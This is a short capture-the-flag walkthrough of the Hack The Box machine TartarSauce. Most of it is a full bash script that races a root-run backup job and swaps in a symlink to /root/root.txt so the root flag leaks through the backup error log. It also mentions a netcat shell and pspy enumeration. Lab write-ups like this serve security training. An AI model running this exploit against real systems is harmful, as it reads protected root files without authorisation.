TartarSauce — HTB Walkthrough

We were in a big rabbit HOLE

=On server
getting SUDO rights of www-data
we get shell on netcat
Enumerating process using PSPY32
what script does is it takes all files in basedir “ /var/www/html” and tars it to something like .filename.sh in tmpfile = /var/tmp/. Then it makes a temporary directory named check , extracts tmpfile to it, and checks the integrity of file. If successful then backs up to /var/backups/onuma-www-dev.bak, else some error file.
#!/bin/bash

# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
sleep 10;
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt
wait for five minutes and we get root flag

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